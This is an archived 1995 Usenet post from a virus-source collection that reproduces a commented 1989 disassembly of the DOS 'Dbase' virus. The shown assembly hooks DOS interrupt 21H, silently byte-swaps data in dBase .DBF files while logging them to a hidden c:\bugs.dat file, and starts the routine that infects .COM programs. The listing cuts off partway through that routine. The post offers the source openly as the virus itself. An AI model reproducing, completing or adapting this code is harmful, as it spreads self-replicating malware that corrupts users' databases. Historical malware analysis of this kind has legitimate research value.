home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dbase.asm / partbinary0 < prev   
Encoding:
Text File  |  1998-01-14  |  24.5 KB  |  1,051 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  3.  
  4. From: danishm@iia.org ()
  5.  
  6. Newsgroups: alt.comp.virus
  7.  
  8. Subject: DBase
  9.  
  10. Date: 5 Feb 1995 21:56:43 GMT
  11.  
  12. Organization: International Internet Association.
  13.  
  14. Lines: 1031
  15.  
  16. Message-ID: <3h3hir$sb@ankh.iia.org>
  17.  
  18. NNTP-Posting-Host: iia.org
  19.  
  20. X-Newsreader: TIN [version 1.2 PL2]
  21.  
  22.  
  23.  
  24. Here is the DBase virus:
  25.  
  26.  
  27.  
  28.     page    65,132
  29.  
  30.     title    The 'Dbase' Virus
  31.  
  32. ; ╔══════════════════════════════════════════════════════════════════════════╗
  33.  
  34. ; ║                 British Computer Virus Research Centre                   ║
  35.  
  36. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  37.  
  38. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  39.  
  40. ; ║                                                                          ║
  41.  
  42. ; ║                           The 'Dbase' Virus                              ║
  43.  
  44. ; ║                Disassembled by Joe Hirst,      October 1989              ║
  45.  
  46. ; ║                                                                          ║
  47.  
  48. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  49.  
  50. ; ║                                                                          ║
  51.  
  52. ; ║      This listing is only to be made available to virus researchers      ║
  53.  
  54. ; ║                or software writers on a need-to-know basis.              ║
  55.  
  56. ; ╚══════════════════════════════════════════════════════════════════════════╝
  57.  
  58.  
  59.  
  60. MCB    SEGMENT AT 0
  61.  
  62.  
  63.  
  64. IDENT    DB    ?
  65.  
  66. OWNER    DW    ?
  67.  
  68. MEMSIZE    DW    ?
  69.  
  70.  
  71.  
  72. MCB    ENDS
  73.  
  74.  
  75.  
  76. CODE    SEGMENT BYTE PUBLIC 'CODE'
  77.  
  78.  
  79.  
  80.     ASSUME    CS:CODE,DS:NOTHING
  81.  
  82.  
  83.  
  84.     ; Interrupt 21H routine
  85.  
  86.  
  87.  
  88. BP0000:    PUSHF
  89.  
  90.     CMP    AX,0FB0AH        ; Infection test function?
  91.  
  92.     JNE    BP0010            ; Branch if not
  93.  
  94.     XCHG    AH,AL            ; Swap bytes
  95.  
  96.     POPF
  97.  
  98.     IRET
  99.  
  100.  
  101.  
  102.     ; Branch to open file function
  103.  
  104.  
  105.  
  106. BP000A:    JMP    BP06DB
  107.  
  108.  
  109.  
  110.     ; Branch to new file functions
  111.  
  112.  
  113.  
  114. BP000D:    JMP    BP0391
  115.  
  116.  
  117.  
  118. BP0010:    CMP    DI,0FB0AH        ; Allow free passage?
  119.  
  120.     JE    BP0044            ; Branch if yes
  121.  
  122.     CMP    AX,4B00H        ; Load and execute function?
  123.  
  124.     JNE    BP001E            ; Branch if not
  125.  
  126.     JMP    BP0490
  127.  
  128.  
  129.  
  130. BP001E:    CMP    AH,6CH            ; Extended open/create function?
  131.  
  132.     JE    BP000D            ; Branch if yes
  133.  
  134.     CMP    AH,5BH            ; Create new file function?
  135.  
  136.     JE    BP000D            ; Branch if yes
  137.  
  138.     CMP    AH,3CH            ; Create handle function?
  139.  
  140.     JE    BP000D            ; Branch if yes
  141.  
  142.     CMP    AH,3DH            ; Open handle function?
  143.  
  144.     JE    BP000A            ; Branch if yes
  145.  
  146.     CMP    AH,3FH            ; Read handle function?
  147.  
  148.     JE    BP004A            ; Branch if yes
  149.  
  150.     CMP    AH,40H            ; Write handle function?
  151.  
  152.     JE    BP004D            ; Branch if yes
  153.  
  154.     CMP    AH,3EH            ; Close handle function?
  155.  
  156.     JNE    BP0044            ; Branch if not
  157.  
  158.     JMP    BP0340
  159.  
  160.  
  161.  
  162.     ; Pass on to Int 21H
  163.  
  164.  
  165.  
  166. BP0044:    POPF
  167.  
  168.     DB    0EAH            ; Far jump
  169.  
  170. DW0046    DW    0            ; Int 21H offset
  171.  
  172. DW0048    DW    0            ; Int 21H segment
  173.  
  174.  
  175.  
  176.     ; Branch to read file function
  177.  
  178.  
  179.  
  180. BP004A:    JMP    BP00C8
  181.  
  182.  
  183.  
  184.     ; Branch to write file function
  185.  
  186.  
  187.  
  188. BP004D:    JMP    BP015F
  189.  
  190.  
  191.  
  192.     JMP    BP04A7
  193.  
  194.  
  195.  
  196. DB0053    DB    'c:\bugs.dat', 0    ; File pathname
  197.  
  198.     DB    4EH DUP (0), 0FFH    ; Read buffer
  199.  
  200. DW00AE    DW    0
  201.  
  202. DB00B0    DB    14H DUP (0)        ; Table of file handles
  203.  
  204. DW00C4    DW    0, 0
  205.  
  206.  
  207.  
  208.     ; Read file function
  209.  
  210.  
  211.  
  212. BP00C8:    PUSH    DI
  213.  
  214.     CALL    BP00CC            ; \ Get current address
  215.  
  216. BP00CC:    POP    DI            ; /
  217.  
  218.     SUB    DI,1CH            ; Address table of file handles
  219.  
  220. BP00D0:    CMP    BYTE PTR CS:[DI],0    ; End of table?
  221.  
  222.     JE    BP00DE            ; Branch if yes
  223.  
  224.     CMP    CS:[DI],BL        ; Is this the file handle
  225.  
  226.     JE    BP00E2            ; Branch if yes
  227.  
  228.     INC    DI            ; Next entry
  229.  
  230.     JMP    BP00D0
  231.  
  232.  
  233.  
  234. BP00DE:    POP    DI
  235.  
  236.     JMP    BP0044            ; Pass on to Int 21H
  237.  
  238.  
  239.  
  240. BP00E2:    POP    DI
  241.  
  242.     POPF
  243.  
  244.     PUSH    CX
  245.  
  246.     PUSH    AX
  247.  
  248.     PUSH    DX
  249.  
  250.     MOV    AX,4201H        ; Move file pointer (current) function
  251.  
  252.     XOR    CX,CX            ; \ No offset
  253.  
  254.     XOR    DX,DX            ; /
  255.  
  256.     INT    21H            ; DOS service
  257.  
  258.     TEST    AX,1            ; Is location odd number byte?
  259.  
  260.     JZ    BP012A            ; Branch if not
  261.  
  262.     MOV    AX,4201H        ; Move file pointer (current) function
  263.  
  264.     MOV    CX,-1            ; \ Back one byte
  265.  
  266.     MOV    DX,CX            ; /
  267.  
  268.     INT    21H            ; DOS service
  269.  
  270.     MOV    AH,3FH            ; Read handle function
  271.  
  272.     MOV    CX,1            ; Length to read
  273.  
  274.     POP    DX
  275.  
  276.     CALL    BP05C3            ; DOS service
  277.  
  278.     POP    AX
  279.  
  280.     POP    CX
  281.  
  282.     PUSH    SI
  283.  
  284.     PUSH    BP
  285.  
  286.     MOV    SI,DX
  287.  
  288.     MOV    BP,[SI]
  289.  
  290.     CALL    BP05C3            ; DOS service
  291.  
  292.     PUSHF
  293.  
  294.     PUSH    AX
  295.  
  296.     MOV    AX,BP
  297.  
  298.     MOV    [SI],AL
  299.  
  300.     POP    AX
  301.  
  302.     POP    BP
  303.  
  304.     POP    SI
  305.  
  306.     PUSH    CX
  307.  
  308.     PUSH    DX
  309.  
  310.     MOV    CX,AX
  311.  
  312.     DEC    CX
  313.  
  314.     INC    DX
  315.  
  316.     CALL    BP022D            ; Reverse bytes in each word
  317.  
  318.     POP    DX
  319.  
  320.     POP    CX
  321.  
  322.     JMP    BP0138
  323.  
  324.  
  325.  
  326. BP012A:    POP    DX
  327.  
  328.     POP    AX
  329.  
  330.     POP    CX
  331.  
  332.     CALL    BP05C3            ; DOS service
  333.  
  334.     PUSHF
  335.  
  336.     PUSH    CX
  337.  
  338.     MOV    CX,AX
  339.  
  340.     CALL    BP022D            ; Reverse bytes in each word
  341.  
  342.     POP    CX
  343.  
  344. BP0138:    PUSH    CX
  345.  
  346.     PUSH    AX
  347.  
  348.     PUSH    DX
  349.  
  350.     MOV    AX,4201H        ; Move file pointer (current) function
  351.  
  352.     XOR    CX,CX            ; \ No offset
  353.  
  354.     XOR    DX,DX            ; /
  355.  
  356.     INT    21H            ; DOS service
  357.  
  358.     TEST    AX,1            ; Is location odd number byte?
  359.  
  360.     JZ    BP0158            ; Branch if not
  361.  
  362.     POP    DX
  363.  
  364.     POP    AX
  365.  
  366.     PUSH    AX
  367.  
  368.     PUSH    DX
  369.  
  370.     ADD    DX,AX
  371.  
  372.     DEC    DX
  373.  
  374.     MOV    CX,1            ; Length to read
  375.  
  376.     MOV    AH,3FH            ; Read handle function
  377.  
  378.     CALL    BP05C3            ; DOS service
  379.  
  380. BP0158:    POP    DX
  381.  
  382.     POP    AX
  383.  
  384.     POP    CX
  385.  
  386.     POPF
  387.  
  388.     RETF    2
  389.  
  390.  
  391.  
  392.     ; Write file function
  393.  
  394.  
  395.  
  396. BP015F:    PUSH    DI
  397.  
  398.     CALL    BP0163            ; \ Get current address
  399.  
  400. BP0163:    POP    DI            ; /
  401.  
  402.     SUB    DI,OFFSET BP0163-DB00B0    ; Address table of file handles
  403.  
  404. BP0168:    CMP    BYTE PTR CS:[DI],0    ; End of table?
  405.  
  406.     JE    BP0176            ; Branch if yes
  407.  
  408.     CMP    CS:[DI],BL        ; Is this the file handle
  409.  
  410.     JE    BP017A            ; Branch if yes
  411.  
  412.     INC    DI            ; Next entry
  413.  
  414.     JMP    BP0168
  415.  
  416.  
  417.  
  418. BP0176:    POP    DI
  419.  
  420.     JMP    BP0044            ; Pass on to Int 21H
  421.  
  422.  
  423.  
  424. BP017A:    CALL    BP017D            ; \ Get current address
  425.  
  426. BP017D:    POP    DI            ; /
  427.  
  428.     SUB    DI,OFFSET BP017D-DW00C4
  429.  
  430.     MOV    WORD PTR CS:[DI],0
  431.  
  432.     MOV    WORD PTR CS:[DI+2],0
  433.  
  434.     PUSH    AX
  435.  
  436.     PUSH    BX
  437.  
  438.     PUSH    CX
  439.  
  440.     PUSH    DX
  441.  
  442.     MOV    AX,4201H        ; Move file pointer (current) function
  443.  
  444.     XOR    CX,CX            ; \ No offset
  445.  
  446.     XOR    DX,DX            ; /
  447.  
  448.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  449.  
  450.     INT    21H            ; DOS service
  451.  
  452.     TEST    AX,1            ; Is location odd number byte?
  453.  
  454.     JNZ    BP01C0            ; Branch if yes
  455.  
  456.     POP    DX
  457.  
  458.     POP    CX
  459.  
  460.     TEST    AX,1            ; Is location odd number byte?
  461.  
  462.     JNZ    BP01B2            ; Branch if yes (???)
  463.  
  464.     MOV    AX,0
  465.  
  466.     CALL    BP0200
  467.  
  468.     JMP    BP01E9
  469.  
  470.  
  471.  
  472. BP01B2:    MOV    AX,1
  473.  
  474.     CALL    BP0200
  475.  
  476.     JB    BP01E9
  477.  
  478.     CALL    BP02B9
  479.  
  480.     JMP    BP01E9
  481.  
  482.  
  483.  
  484. BP01C0:    POP    DX
  485.  
  486.     POP    CX
  487.  
  488.     TEST    CX,1
  489.  
  490.     JZ    BP01D6
  491.  
  492.     CALL    BP0262
  493.  
  494.     JB    BP01E9
  495.  
  496.     MOV    AX,0100H
  497.  
  498.     CALL    BP0200
  499.  
  500.     JMP    BP01E9
  501.  
  502.  
  503.  
  504. BP01D6:    CALL    BP0262
  505.  
  506.     JB    BP01E9
  507.  
  508.     MOV    AX,0101H
  509.  
  510.     CALL    BP0200
  511.  
  512.     JB    BP01E9
  513.  
  514.     CALL    BP02B9
  515.  
  516.     JMP    BP01E9
  517.  
  518.  
  519.  
  520. BP01E9:    POP    BX
  521.  
  522.     POP    AX
  523.  
  524.     POP    DI
  525.  
  526.     CALL    BP01EF            ; \ Get current address
  527.  
  528. BP01EF:    POP    SI            ; /
  529.  
  530.     SUB    SI,OFFSET BP01EF-DW00C4
  531.  
  532.     PUSH    CS:[SI+2]
  533.  
  534.     POPF
  535.  
  536.     MOV    AX,CS:[SI]
  537.  
  538.     POP    SI
  539.  
  540.     RETF    2
  541.  
  542.  
  543.  
  544. BP0200:    CMP    CX,1
  545.  
  546.     JNE    BP0209
  547.  
  548.     CALL    BP0242
  549.  
  550.     RET
  551.  
  552.  
  553.  
  554. BP0209:    CALL    BP0215
  555.  
  556.     CALL    BP0242
  557.  
  558.     PUSHF
  559.  
  560.     CALL    BP0215
  561.  
  562.     POPF
  563.  
  564.     RET
  565.  
  566.  
  567.  
  568. BP0215:    PUSH    CX
  569.  
  570.     PUSH    DX
  571.  
  572.     CALL    BP0220
  573.  
  574.     CALL    BP022D            ; Reverse bytes in each word
  575.  
  576.     POP    DX
  577.  
  578.     POP    CX
  579.  
  580.     RET
  581.  
  582.  
  583.  
  584. BP0220:    CMP    AH,1
  585.  
  586.     JNE    BP0227
  587.  
  588.     INC    DX
  589.  
  590.     DEC    CX
  591.  
  592. BP0227:    CMP    AL,1
  593.  
  594.     JNE    BP022C
  595.  
  596.     DEC    CX
  597.  
  598. BP022C:    RET
  599.  
  600.  
  601.  
  602.     ; Reverse bytes in each word
  603.  
  604.  
  605.  
  606. BP022D:    PUSH    SI
  607.  
  608.     PUSH    CX
  609.  
  610.     PUSH    AX
  611.  
  612.     MOV    SI,DX
  613.  
  614.     SHR    CX,1            ; Divide count by two
  615.  
  616. BP0234:    MOV    AX,[SI]            ; Get next word
  617.  
  618.     XCHG    AH,AL            ; Reverse bytes in word
  619.  
  620.     MOV    [SI],AX            ; Replace word
  621.  
  622.     INC    SI            ; \ Next word
  623.  
  624.     INC    SI            ; /
  625.  
  626.     LOOP    BP0234            ; Repeat for count
  627.  
  628.     POP    AX
  629.  
  630.     POP    CX
  631.  
  632.     POP    SI
  633.  
  634.     RET
  635.  
  636.  
  637.  
  638. BP0242:    PUSH    AX
  639.  
  640.     PUSH    CX
  641.  
  642.     PUSH    DX
  643.  
  644.     PUSH    DI
  645.  
  646.     CALL    BP0220
  647.  
  648.     MOV    AH,40H            ; Write handle function
  649.  
  650.     INT    21H            ; DOS service
  651.  
  652.     PUSHF
  653.  
  654.     CALL    BP0251            ; \ Get current address
  655.  
  656. BP0251:    POP    DI            ; /
  657.  
  658.     SUB    DI,OFFSET BP0251-DW00C4
  659.  
  660.     POP    CS:[DI+2]
  661.  
  662.     ADD    CS:[DI],AX
  663.  
  664.     POP    DI
  665.  
  666.     POP    DX
  667.  
  668.     POP    CX
  669.  
  670.     POP    AX
  671.  
  672.     RET
  673.  
  674.  
  675.  
  676. BP0262:    PUSH    AX
  677.  
  678.     PUSH    CX
  679.  
  680.     PUSH    DX
  681.  
  682.     PUSH    SI
  683.  
  684.     PUSH    BP
  685.  
  686.     MOV    DX,-1            ; \ Back one byte
  687.  
  688.     MOV    CX,DX            ; /
  689.  
  690.     MOV    AX,4201H        ; Move file pointer (current) function
  691.  
  692.     INT    21H            ; DOS service
  693.  
  694.     MOV    AH,3FH            ; Read handle function
  695.  
  696.     MOV    CX,1            ; Length to read
  697.  
  698.     MOV    SI,DX
  699.  
  700.     MOV    BP,[SI]
  701.  
  702.     INT    21H            ; DOS service
  703.  
  704.     JB    BP02A3            ; Branch if error
  705.  
  706.     MOV    DX,-1            ; \ Back one byte
  707.  
  708.     MOV    CX,DX            ; /
  709.  
  710.     MOV    AX,4201H        ; Move file pointer (current) function
  711.  
  712.     INT    21H            ; DOS service
  713.  
  714.     XCHG    BP,[SI]
  715.  
  716.     MOV    CX,1            ; Length to write
  717.  
  718.     MOV    AH,40H            ; Write handle function
  719.  
  720.     INT    21H            ; DOS service
  721.  
  722.     JB    BP02A3            ; Branch if error
  723.  
  724.     XCHG    BP,[SI]
  725.  
  726.     MOV    CX,1            ; Length to write
  727.  
  728.     MOV    AH,40H            ; Write handle function
  729.  
  730.     INT    21H            ; DOS service
  731.  
  732.     JB    BP02A3            ; Branch if error
  733.  
  734.     XCHG    BP,[SI]
  735.  
  736.     MOV    AX,1
  737.  
  738. BP02A3:    PUSHF
  739.  
  740.     CALL    BP02A7            ; \ Get current address
  741.  
  742. BP02A7:    POP    SI            ; /
  743.  
  744.     SUB    SI,OFFSET BP02A7-DW00C4
  745.  
  746.     POP    CS:[SI+2]
  747.  
  748.     MOV    CS:[SI],AX
  749.  
  750.     POP    BP
  751.  
  752.     POP    SI
  753.  
  754.     POP    DX
  755.  
  756.     POP    CX
  757.  
  758.     POP    AX
  759.  
  760.     RET
  761.  
  762.  
  763.  
  764. BP02B9:    PUSH    AX
  765.  
  766.     PUSH    CX
  767.  
  768.     PUSH    DX
  769.  
  770.     PUSH    SI
  771.  
  772.     PUSH    BP
  773.  
  774.     MOV    SI,DX
  775.  
  776.     ADD    SI,CX
  777.  
  778.     DEC    SI
  779.  
  780.     MOV    DX,1            ; \ Forward one byte
  781.  
  782.     XOR    CX,CX            ; /
  783.  
  784.     MOV    AX,4201H        ; Move file pointer (current) function
  785.  
  786.     INT    21H            ; DOS service
  787.  
  788.     MOV    AH,3FH            ; Read handle function
  789.  
  790.     MOV    CX,1            ; Read one byte
  791.  
  792.     MOV    BP,[SI]
  793.  
  794.     INT    21H            ; DOS service
  795.  
  796.     JB    BP02E0            ; Branch if error
  797.  
  798.     CMP    AX,1            ; One byte read?
  799.  
  800.     JNE    BP02E0            ; Branch if not
  801.  
  802.     JMP    BP02F6
  803.  
  804.  
  805.  
  806. BP02E0:    MOV    CX,-1            ; \ Back one byte
  807.  
  808.     MOV    DX,CX            ; /
  809.  
  810.     MOV    AX,4201H        ; Move file pointer (current) function
  811.  
  812.     INT    21H            ; DOS service
  813.  
  814.     MOV    DX,SI
  815.  
  816.     MOV    CX,1            ; Length to write
  817.  
  818.     MOV    AH,40H            ; Write handle function
  819.  
  820.     INT    21H            ; DOS service
  821.  
  822.     JMP    BP032A
  823.  
  824.  
  825.  
  826. BP02F6:    MOV    DX,-2            ; \ Back two byte
  827.  
  828.     MOV    CX,-1            ; /
  829.  
  830.     MOV    AX,4201H        ; Move file pointer (current) function
  831.  
  832.     INT    21H            ; DOS service
  833.  
  834.     XCHG    BP,[SI]
  835.  
  836.     MOV    CX,1            ; Length to write
  837.  
  838.     MOV    AH,40H            ; Write handle function
  839.  
  840.     MOV    DX,SI
  841.  
  842.     INT    21H            ; DOS service
  843.  
  844.     JB    BP032A            ; Branch if error
  845.  
  846.     XCHG    BP,[SI]
  847.  
  848.     MOV    CX,1            ; Length to write
  849.  
  850.     MOV    AH,40H            ; Write handle function
  851.  
  852.     MOV    DX,SI
  853.  
  854.     INT    21H            ; DOS service
  855.  
  856.     JB    BP032A            ; Branch if error
  857.  
  858.     XCHG    BP,[SI]
  859.  
  860.     MOV    DX,-1            ; \ Back one byte
  861.  
  862.     MOV    CX,DX            ; /
  863.  
  864.     MOV    AX,4201H        ; Move file pointer (current) function
  865.  
  866.     INT    21H            ; DOS service
  867.  
  868.     MOV    AX,1
  869.  
  870. BP032A:    PUSHF
  871.  
  872.     CALL    BP032E            ; \ Get current address
  873.  
  874. BP032E:    POP    SI            ; /
  875.  
  876.     SUB    SI,OFFSET BP032E-DW00C4
  877.  
  878.     POP    CS:[SI+2]
  879.  
  880.     ADD    CS:[SI],AX
  881.  
  882.     POP    BP
  883.  
  884.     POP    SI
  885.  
  886.     POP    DX
  887.  
  888.     POP    CX
  889.  
  890.     POP    AX
  891.  
  892.     RET
  893.  
  894.  
  895.  
  896. BP0340:    PUSH    BP
  897.  
  898.     PUSH    CX
  899.  
  900.     CALL    BP0345            ; \ Get current address
  901.  
  902. BP0345:    POP    BP            ; /
  903.  
  904.     SUB    BP,OFFSET BP0345-DW00AE
  905.  
  906.     MOV    CX,CS:[BP+0]
  907.  
  908.     CMP    CX,0
  909.  
  910.     JE    BP037C
  911.  
  912.     ADD    BP,2
  913.  
  914. BP0356:    CMP    CS:[BP+0],BL
  915.  
  916.     JE    BP0362
  917.  
  918.     INC    BP
  919.  
  920.     LOOP    BP0356
  921.  
  922.     JMP    BP037C
  923.  
  924.  
  925.  
  926. BP0362:    MOV    CL,CS:[BP+1]
  927.  
  928.     MOV    CS:[BP+0],CL
  929.  
  930.     INC    BP
  931.  
  932.     CMP    CL,0
  933.  
  934.     JNE    BP0362
  935.  
  936.     CALL    BP0373            ; \ Get current address
  937.  
  938. BP0373:    POP    BP            ; /
  939.  
  940.     SUB    BP,OFFSET BP0373-DW00AE
  941.  
  942.     DEC    WORD PTR CS:[BP+0]
  943.  
  944. BP037C:    POP    CX
  945.  
  946.     POP    BP
  947.  
  948.     JMP    BP0044            ; Pass on to Int 21H
  949.  
  950.  
  951.  
  952. BP0381:    JMP    BP04A7
  953.  
  954.  
  955.  
  956.     JMP    BP0044            ; Pass on to Int 21H
  957.  
  958.  
  959.  
  960. DW0387    DW    0            ; File date
  961.  
  962. DW0389    DW    0            ; File time
  963.  
  964. DW038B    DW    0            ; File attributes
  965.  
  966. DW038D    DW    0            ; Pathname segment
  967.  
  968. DW038F    DW    0            ; Pathname offset
  969.  
  970.  
  971.  
  972.     ; New file functions
  973.  
  974.  
  975.  
  976. BP0391:    PUSH    SI
  977.  
  978.     PUSH    BP
  979.  
  980.     CMP    AH,6CH            ; Extended open/create function?
  981.  
  982.     JE    BP039A            ; Branch if yes
  983.  
  984.     MOV    SI,DX            ; Copy filepath pointer
  985.  
  986. BP039A:    MOV    BP,SI            ; Copy filepath pointer
  987.  
  988.     CALL    BP0453            ; Convert pathname to uppercase
  989.  
  990.     CALL    BP0468            ; Test for Dbase file
  991.  
  992.     JNE    BP0381            ; Branch if not
  993.  
  994.     PUSH    DX
  995.  
  996.     MOV    DX,SI            ; Copy pathname (for function 6CH)
  997.  
  998.     CALL    BP0665            ; Search BUG.DAT file for pathname
  999.  
  1000.     POP    DX
  1001.  
  1002.     JB    BP0415            ; Branch if found
  1003.  
  1004.     PUSH    ES
  1005.  
  1006.     PUSH    DS
  1007.  
  1008.     PUSH    DX
  1009.  
  1010.     PUSH    SI
  1011.  
  1012.     PUSH    DI
  1013.  
  1014.     PUSH    CX
  1015.  
  1016.     PUSH    BX
  1017.  
  1018.     PUSH    AX
  1019.  
  1020.     CALL    BP03B8            ; \ Get current address
  1021.  
  1022. BP03B8:    POP    DX            ; /
  1023.  
  1024.     SUB    DX,OFFSET BP03B8-DB0053    ; Address 'BUGS.DAT' pathname
  1025.  
  1026.     PUSH    BP
  1027.  
  1028.     MOV    BP,DS            ; \ Set ES to DS
  1029.  
  1030.     MOV    ES,BP            ; /
  1031.  
  1032.     POP    BP
  1033.  
  1034.     PUSH    CS            ; \ Set DS to CS
  1035.  
  1036.     POP    DS            ; /
  1037.  
  1038.     MOV    AX,3D02H        ; Open handle (R/W) function
  1039.  
  1040.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  1041.  
  1042.     INT    21H            ; DOS service
  1043.  
  1044.     JNB    BP03D8            ; Branch if no error
  1045.  
  1046.     MOV    AH,3CH            ; Create handle function
  1047.  
  1048.     MOV    CX,2            ; Hidden file
  1049.  
  1050.     INT    21H            ; DOS service
  1051.  
  1052.     JB    BP0448            ; Branch if error
  1053.  
  1054. BP03D8:    MOV    BX,AX            ; Move handle
  1055.  
  1056.     CALL    BP06F7            ; Is file out of time?
  1057.  
  1058.     XOR    DX,DX            ; \ No offset
  1059.  
  1060.     XOR    CX,CX            ; /
  1061.  
  1062.     MOV    AX,4202H        ; Move file pointer (EOF) function
  1063.  
  1064.     INT    21H            ; DOS service
  1065.  
  1066.     MOV    DX,BP
  1067.  
  1068.     MOV    DI,DX
  1069.  
  1070.     MOV    BP,ES            ; \ Set DS to ES
  1071.  
  1072.     MOV    DS,BP            ; /
  1073.  
  1074.     MOV    CX,004EH        ; Length to write
  1075.  
  1076.     MOV    AH,40H            ; Write handle function
  1077.  
  1078.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  1079.  
  1080.     INT    21H            ; DOS service
  1081.  
  1082.     CALL    BP03FB            ; \ Get current address
  1083.  
  1084. BP03FB:    POP    SI            ; /
  1085.  
  1086.     SUB    SI,74H            ; Address file date
  1087.  
  1088.     MOV    DX,CS:[SI]        ; Get file date
  1089.  
  1090.     MOV    AX,5701H        ; Set file date & time function
  1091.  
  1092.     INT    21H            ; DOS service
  1093.  
  1094.     MOV    AH,3EH            ; Close handle function
  1095.  
  1096.     INT    21H            ; DOS service
  1097.  
  1098.     JB    BP0448            ; Branch if error
  1099.  
  1100.     POP    AX
  1101.  
  1102.     POP    BX
  1103.  
  1104.     POP    CX
  1105.  
  1106.     POP    DI
  1107.  
  1108.     POP    SI
  1109.  
  1110.     POP    DX
  1111.  
  1112.     POP    DS
  1113.  
  1114.     POP    ES
  1115.  
  1116. BP0415:    POP    BP
  1117.  
  1118.     POP    SI
  1119.  
  1120.     POPF
  1121.  
  1122.     CALL    BP05C3            ; DOS service
  1123.  
  1124.     JB    BP0420            ; Branch if error
  1125.  
  1126.     CALL    BP0423
  1127.  
  1128. BP0420:    RETF    2
  1129.  
  1130.  
  1131.  
  1132. BP0423:    PUSHF
  1133.  
  1134.     PUSH    SI
  1135.  
  1136.     CALL    BP0428            ; \ Get current address
  1137.  
  1138. BP0428:    POP    SI            ; /
  1139.  
  1140.     SUB    SI,OFFSET BP0428-DW00AE
  1141.  
  1142.     CMP    WORD PTR CS:[SI],14H
  1143.  
  1144.     JE    BP0447
  1145.  
  1146.     INC    WORD PTR CS:[SI]
  1147.  
  1148.     PUSH    BX
  1149.  
  1150.     MOV    BX,SI
  1151.  
  1152.     ADD    BX,CS:[SI]
  1153.  
  1154.     ADD    BX,CS:[SI]
  1155.  
  1156.     MOV    SI,BX
  1157.  
  1158.     POP    BX
  1159.  
  1160.     MOV    CS:[SI],AL
  1161.  
  1162.     POP    SI
  1163.  
  1164.     POPF
  1165.  
  1166. BP0447:    RET
  1167.  
  1168.  
  1169.  
  1170. BP0448:    POP    AX
  1171.  
  1172.     POP    BX
  1173.  
  1174.     POP    CX
  1175.  
  1176.     POP    DI
  1177.  
  1178.     POP    SI
  1179.  
  1180.     POP    DX
  1181.  
  1182.     POP    DS
  1183.  
  1184.     POP    ES
  1185.  
  1186.     JMP    BP04A7
  1187.  
  1188.  
  1189.  
  1190.     ; Convert pathname to uppercase
  1191.  
  1192.  
  1193.  
  1194. BP0453:    PUSH    SI
  1195.  
  1196.     MOV    SI,DX            ; Copy pathname pointer
  1197.  
  1198. BP0456:    CMP    BYTE PTR [SI],0        ; End of pathname?
  1199.  
  1200.     JE    BP0466            ; Branch if yes
  1201.  
  1202.     CMP    BYTE PTR [SI],'a'    ; Lowercase character?
  1203.  
  1204.     JB    BP0463            ; Branch if not
  1205.  
  1206.     SUB    BYTE PTR [SI],' '    ; Convert to uppercase
  1207.  
  1208. BP0463:    INC    SI            ; Next character
  1209.  
  1210.     JMP    BP0456            ; Process next character
  1211.  
  1212.  
  1213.  
  1214. BP0466:    POP    SI
  1215.  
  1216.     RET
  1217.  
  1218.  
  1219.  
  1220.     ; Test for Dbase file
  1221.  
  1222.  
  1223.  
  1224. BP0468:    CALL    BP0453            ; Convert pathname to uppercase
  1225.  
  1226.     PUSH    SI
  1227.  
  1228. BP046C:    CMP    BYTE PTR [SI],0        ; End of pathname?
  1229.  
  1230.     JE    BP0480            ; Branch if yes
  1231.  
  1232.     CMP    BYTE PTR [SI],'.'    ; Extension character?
  1233.  
  1234.     JE    BP0479            ; Branch if yes
  1235.  
  1236.     INC    SI            ; Next character
  1237.  
  1238.     JMP    BP046C            ; Process next character
  1239.  
  1240.  
  1241.  
  1242. BP0479:    INC    SI            ; Next character
  1243.  
  1244.     CMP    WORD PTR [SI],'BD'    ; Database file (1)?
  1245.  
  1246.     JNE    BP0484            ; Branch if not
  1247.  
  1248. BP0480:    CMP    BYTE PTR [SI+2],'F'    ; Database file (2)?
  1249.  
  1250. BP0484:    POP    SI
  1251.  
  1252.     RET
  1253.  
  1254.  
  1255.  
  1256. DB0486    DB    0CDH, 20H, 90H, 90H    ; Start of host read buffer
  1257.  
  1258. DB048A    DB    0, 0            ; Signature read buffer
  1259.  
  1260. DB048C    DB    0E9H, 0, 0        ; Initial jump instruction
  1261.  
  1262.     DB    0
  1263.  
  1264.  
  1265.  
  1266.     ; Load and execute function
  1267.  
  1268.  
  1269.  
  1270. BP0490:    PUSH    BP
  1271.  
  1272.     PUSH    SI
  1273.  
  1274.     MOV    SI,DX            ; Copy pathname pointer
  1275.  
  1276. BP0494:    CMP    BYTE PTR [SI],0        ; End of pathname?
  1277.  
  1278.     JE    BP04A7            ; Branch if yes
  1279.  
  1280.     CMP    BYTE PTR [SI],'.'    ; Extension indicator?
  1281.  
  1282.     JE    BP04AC            ; Branch if yes
  1283.  
  1284.     INC    SI            ; Next character
  1285.  
  1286.     JMP    BP0494            ; Process next character
  1287.  
  1288.  
  1289.  
  1290. BP04A1:    POP    DS
  1291.  
  1292.     POP    DX
  1293.  
  1294.     POP    DI
  1295.  
  1296.     POP    CX
  1297.  
  1298.     POP    BX
  1299.  
  1300.     POP    AX
  1301.  
  1302. BP04A7:    POP    BP
  1303.  
  1304.     POP    SI
  1305.  
  1306.     JMP    BP0044            ; Pass on to Int 21H
  1307.  
  1308.  
  1309.  
  1310. BP04AC:    INC    SI            ; Next character
  1311.  
  1312.     CMP    WORD PTR [SI],'OC'    ; Is it a COM file? (1)
  1313.  
  1314.     JNE    BP04A7            ; Branch if not
  1315.  
  1316.     CMP    BYTE PTR [SI+2],'M'    ; Is it a COM file? (1)
  1317.  
  1318.     JNE    BP04A7            ; Branch if not
  1319.  
  1320.     PUSH    AX
  1321.  
  1322.     PUSH    BX
  1323.  
  1324.     PUSH    CX
  1325.  
  1326.     PUSH    DI
  1327.  
  1328.     PUSH    DX
  1329.  
  1330.     PUSH    DS
  1331.  
  1332.     PUSH    SI
  1333.  
  1334.     PUSH    CX
  1335.  
  1336.     MOV    AX,4300H        ; Get file attributes function
  1337.  
  1338.     INT    21H            ; DOS service
  1339.  
  1340.     CALL    BP04C9            ; \ Get current address
  1341.  
